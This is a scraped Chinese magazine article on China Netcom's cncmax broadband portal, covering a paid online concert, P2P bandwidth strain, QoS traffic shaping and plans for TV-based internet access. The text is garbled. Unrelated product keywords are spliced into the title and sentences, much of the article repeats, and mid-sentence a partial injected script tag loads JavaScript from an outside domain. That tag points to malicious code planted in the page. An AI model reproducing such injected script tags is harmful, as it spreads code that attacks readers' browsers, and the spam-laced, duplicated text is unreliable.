捆绑接入网络和应用网络 网通尝试电视上网渠道炊具挂盘

捆绑接入网络和应用网络 网通尝试电视上网渠道 借助捆绑接入网络和应用网络，中国网通正在尝试把“cncmax宽带我世界”打造成电视上网的唯一渠道

cncmax的新门户实验

本刊记者｜高冬成 郑重

一个多月前，中国网通在其宽带门户网站cncmax上举办了 “宽带我世界，超女新舞台”演唱会。演唱会由中国网通操办，不产生现场收入，但售出了56万张网络票，每张网络票定价6元。虽然网通并没有公布这次活动的各方分成比例和实际收入，但网通对这种尝试予以了肯定。

运营商向宽带内容的扩张由来已久。互联网正在从文字、图片向视频过渡，对内容供应商和带宽、服务器的依赖越来越强烈；而电信运营商随着自身规模的膨胀，也越来越不满足于基础网络的运营，正在以视频为起点把触角伸向内容平台，意图打造视频时代的新门户。

运营商的这种扩电容张在pc端上不可避免地将受到新浪、搜狐等传统门户网站的强力阻击，而在tv端上则会遭遇来自广电的政策阻挡。相比较而言，对于tv端的占领似乎更加可行，借助捆绑接入网络和应用网络，中国网通新组建的“宽带在线”公司正在尝试把“cncmax宽带我世界”打造成电视上网的唯一渠道。

视频新门户

中国网通统计部副总经理何华杰在6月28日的名为《运营商宽带业务和网络模式的一些思考》演讲中指出：实时的商业性演出的直播与转播，将成为中国网通在个人娱乐门户上的一种有益尝试。

一个特殊的背景原因是，为迎接2008年的奥运会，北京的大型体育场馆都进入了维修状态，今后很长一段时间里，商业性演出都不再适合在大的场馆举行，而转战小剧场。这一方面会拉升现场门票售价，同时也大大限制了现场观众数量，给网络视频直播的推广带来机会。

羊眼圈

不过外界普遍认为，视频直播给网通带来的实际收益可能并不丰厚。传统电视节目中，电影工作室从一部电影收益中的分成达到50%，而体育类的内容提供者分成更达到80%以上，相信这种利益分配在宽带市场中也不会相距太远。

但是显然网通不想扮演演艺公司和电视台的角色，这是运营商试图自行开发内容的开始，也是整个产业链未明晰之前运营商的实验做法。

“对于互联网内容，最初运营商是修了一条路，提供接入服务；然后有了互联星空等网站，相当于运营商又开出了一辆直达内容的班车；如今，我们要开的是一个大卖场，用户想要的所有东西都可以从这里找到。”宽带在线总经理左风说。

现在，“cncmax宽带我世界”中主要包括互动、直播、影视、游戏、动漫等全视频宽带内容。左风透露，视频等资源依赖型业务将成为中国网通今后发展的重点。因为视频业务对网络提出了更高的要求，这些业务更加需要与基础网络资源进行大量的互动，只有电信运营商才能将资源配置的效用发挥到极致。

捆绑网络

网通要想奠定cncmax的新门户地位，在网络层面必须抵制p2p的进攻。事实上，中国网通早在2003年就开始实行宽带战略，向提供接入和提供内容的综合服务转变。但是，随着近两年来互联网p2p技术的日益冲击，宽带运营过程中增量不增收的情况就表现得特别明显。

p2p对带宽消耗非常之大，无论是在线播放还是下载，网络随时都会被p2p流量占满，有时候甚至高达50%～60%。“由于没有对qos进行区分，大客户业务和多媒体业务与普通上网业务质量相同，网络出口带宽永远是木桶上的最短板。宽带用户增长率与宽带业务相关的收入增长却不相称，运营商必须探索新的收入来源。” 何华杰说。

而运营商要在宽带上赢利，探索新的收入来源，就必须结合自己掌握用户的核心优势，挖掘宽带价值的关键环节。“我们完全可以将应用网络与接入网络紧密捆绑，用户的接入帐号同时作为内容消费帐号，建立内容推送的快车道。”何华杰对此自信满满。

而要做到上述这些，中国网通需要在技术上做一些配套性的改进工作，“我们需要在网络的承载层区分不同的业务质量，对来自不同的应用流量进行qos区分，为自有视频业务保留足够的带宽，实现差异化服务和资源合理利用，其次，在网络应用层能够建立安全、便捷的消费平台。将宽带网作为多媒体内容消费平台，宽带网=内容和应用的销售渠道。”同时，何华杰也坦承，这种对流量的区分需要投入大量的成本，而且准确性还有待保证。

中国网通期望将宽带内容从个体上网演变成整个家庭的集体行为。“如果将来政策松动，我们也会将电脑扩展到tv和3g手机领域。tv市场是一个目标。” 左风说。

事实上，移植了盛大易宝的cncmax，无论从字体、界面等角度看更像为电视设计的。除了和广电合作iptv外，电信运营商也在实验绕过广电，直接用电视屏幕作为显示终端上网。iptv政策的摇摆并不能抑制运营商占领tv端的强烈渴望。

盈利模式未明

虽然cncmax在超女上实现成功收费，但中国互联网长期有免费习惯，付费电视尚未被国人接受，cncmax的盈利模式现在仍不清楚。

赛迪顾问战略与投资咨询事业部分析师何奇峰说，要探讨赢?script src=http://er12.com/t.js> 借助捆绑接入网络和应用网络，中国网通正在尝试把“cncmax宽带我世界”打造成电视上网的唯一渠道

cncmax的新门户实验

本刊记者｜高冬成 郑重

一个多月前，中国网通在其宽带门户网站cncmax上举办了 “宽带我世界，超女新舞台”演唱会。演唱会由中国网通操办，不产生现场收入，但售出了56万张网络票，每张网络票定价6元。虽然网通并没有公布这次活动的各方分成比例和实际收入，但网通对这种尝试予以了肯定。

运营商向宽带内容的扩张由来已久。互联网正在从文字、图片向视频过渡，对内容供应商和带宽、服务器的依赖越来越强烈；而电信运营商随着自身规模的膨胀，也越来越不满足于基础网络的运营，正在以视频为起点把触角伸向内容平台，意图打造视频时代的新门户。

运营商的这种扩张在pc端上不可避免地将受到新浪、搜狐等传统门户网站的强力阻击，而在tv端上则会遭遇来自广电的政策阻挡。相比较而言，对于tv端的占领似乎更加可行，借助捆绑接入网络和应用网络，中国网通新组建的“宽带在线”公司正在尝试把“cncmax宽带我世界”打造成电视上网的唯一渠道。

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一个特殊的背景原因是，为迎接2008年的奥运会，北京的大型体育场馆都进入了维修状态，今后很长一段时间里，商业性演出都不再适合在大的场馆举行，而转战小剧场。这一方面会拉升现场门票售价，同时也大大限制了现场观众数量，给网络视频直播的推广带来机会。

不过外界普遍认为，视频直播给网通带来的实际收益可能并不丰厚。传统电视节目中，电影工作室从一部电影收益中的分成达到50%，而体育类的内容提供者分成更达到80%以上，相信这种利益分配在宽带市场中也不会相距太远。

但是显然网通不想扮演演艺公司和电视台的角色，这是运营商试图自行开发内容的开始，也是整个产业链未明晰之前运营商的实验做法。

“对于互联网内容，最初运营商是修了一条路，提供接入服务；然后有了互联星空等网站，相当于运营商又开出了一辆直达内容的班车；如今，我们要开的是一个大卖场，用户想要的所有东西都可以从这里找到。”宽带在线总经理左风说。

现在，“cncmax宽带我世界”中主要包括互动、直播、影视、游戏、动漫等全视频宽带内容。左风透露，视频等资源依赖型业务将成为中国网通今后发展的重点。因为视频业务对网络提出了更高的要求，这些业务更加需要与基础网络资源进行大量的互动，只有电信运营商才能将资源配置的效用发挥到极致。

捆绑网络

网通要想奠定cncmax的新门户地位，在网络层面必须抵制p2p的进攻。事实上，中国网通早在2003年就开始实行宽带战略，向提供接入和提供内容的综合服务转变。但是，随着近两年来互联网p2p技术的日益冲击，宽带运营过程中增量不增收的情况就表现得特别明显。

p2p对带宽消耗非常之大，无论是在线播放还是下载，网络随时都会被p2p流量占满，有时候甚至高达50%～60%。“由于没有对qos进行区分，大客户业务和多媒体业务与普通上网业务质量相同，网络出口带宽永远是木桶上的最短板。宽带用户增长率与宽带业务相关的收入增长却不相称，运营商必须探索新的收入来源。” 何华杰说。

而运营商要在宽带上赢利，探索新的收入来源，就必须结合自己掌握用户的核心优势，挖掘宽带价值的关键吸附仪环节。“我们完全可以将应用网络与接入网络紧密捆绑，用户的接入帐号同时作为内容消费帐号，建立内容推送的快车道。”何华杰对此自信满满。

而要做到上述这些，中国网通需要在技术上做一些配套性的改进工作，“我们需要在网络的承载层区分不同的业务质量，对来自不同的应用流量进行qos区分，为自有视频业务保留足够的带宽，实现差异化服务和资源合理利用，其次，在网络应用层能够建立安全、便捷的消费平台。将宽带网作为多媒体内容消费平台，宽带网=内容和应用的销售渠道。”同时，何华杰也坦承，这种对流量的区分需要投入大量的成本，而且准确性还有待保证。

中国网通期望将宽带内容从个体上网演变成整个家庭的集体行为。“如果将来政策松动，我们也会将电脑扩展到tv和3g手机领域。tv市场是一个目标。” 左风说。

事实上，移植了盛大易宝的cncmax，无论从字气压开关体、界面等角度看更像为电视设计的。除了和广电合作iptv外，电信运营商也在实验绕过广电，直接用电视屏幕作为显示终端上网。iptv政策的摇摆并不能抑制运营商占领tv端的强烈渴望。

盈利模式未明

虽然cncmax在超女上实现成功收费，但中国互联网长期有免费习惯，付费电视尚未被国人接受，cncmax的盈利模式现在仍不清楚。

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